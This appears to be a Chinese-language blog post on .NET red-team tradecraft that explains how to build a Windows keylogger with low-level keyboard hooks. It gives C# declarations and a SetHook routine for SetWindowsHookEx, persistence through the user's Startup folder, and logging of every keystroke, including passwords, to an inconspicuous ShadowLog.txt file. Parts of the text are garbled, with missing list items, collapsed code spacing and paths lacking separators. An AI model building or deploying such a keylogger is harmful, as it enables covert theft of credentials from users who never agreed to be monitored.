.NET 实战对抗，内网渗透中红队通过 Windows 钩子记录用户键盘指令

在红队渗透测试中，信息收集是最重要的初期阶段之一。通过精确地获取目标系统上的信息，红队能够识别潜在的攻击路径，并为后续的攻击提供有价值的数据。本文将探讨通过钩子实现的记录器在内网渗透中的应用，以及如何通过开发和利用记录器工具，收集关键数据。我们将重点分析其在红队渗透阶段的实际使用场景，并探讨其技术实现方法。

钩子（Hook）是一种 Windows 操作内置的监控和拦截机制，通过程序拦截和处理操作系统或应用程序中的特定事件或消息，钩子通常用于监视和修改系统行为，可以获取或改变事件流，而无需直接修改目标程序的源代码。在系统中，钩子可以用于监控键盘、鼠标、窗口消息等各种系统事件。

1.1 原理和类型

3. 事件传递：钩子回调函数可以决定是否将事件传递给下一个钩子，主要通过 CallNextHookEx函数实现。如果钩子不调用 CallNextHookEx，则后续钩子或系统的默认处理程序将不会收到该事件。

4. 卸载钩子：钩子完成任务后，通过调用 UnhookWindowsHookEx 函数卸载钩子，释放资源。

1.2 SetWindwsHookEx

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError =true)]privatestaticexternIntPtrSetWindowsHookEx(int idHook,Program.LowLevelKeyboardProc lpfn,IntPtr hMod,uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError =true)]privatestaticexternIntPtrCallNextHookEx(IntPtr hhk,int nCode,IntPtr wParam,IntPtr lParam);

privatestaticProgram.LowLevelKeyboardProc _proc =newProgram.LowLevelKeyboardProc(Program.HookCallback);

privatestaticIntPtr _hookID = IntPtr.Zero;privatedelegateIntPtrLowLevelKeyboardProc(int nCode,IntPtr wParam,IntPtr lParam);

privatestaticIntPtrSetHook(Program.LowLevelKeyboardProc proc){IntPtr result;using(Process curProcess = Process.GetCurrentProcess()){using(ProcessModule curModule = curProcess.MainModule){            result = Program.SetWindowsHookEx(13, proc, Program.GetModuleHandle(curModule.ModuleName),0U);}}return result;}

C:UsersAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup

从而确保系统重启后仍会自动启动并继续记录键盘输入，如下图所示。

键盘记录的内容会被存储在 C:UsersPublicDocuments 目录下的 ShadowLog.txt 文件中。该文件记录了用户输入的每个按键，允许攻击者查看用户的输入内容，包括敏感数据如用户名和密码。由于该文件位于公共目录下，通常不会引起用户的注意，记录的内容如下图所示。

从漏洞分析到安全攻防，我们涵盖了 .NET 安全各个关键方面，为您呈现最新、最全面的 .NET 安全知识，下面是公众号发布的精华文章集合，推荐大伙阅读！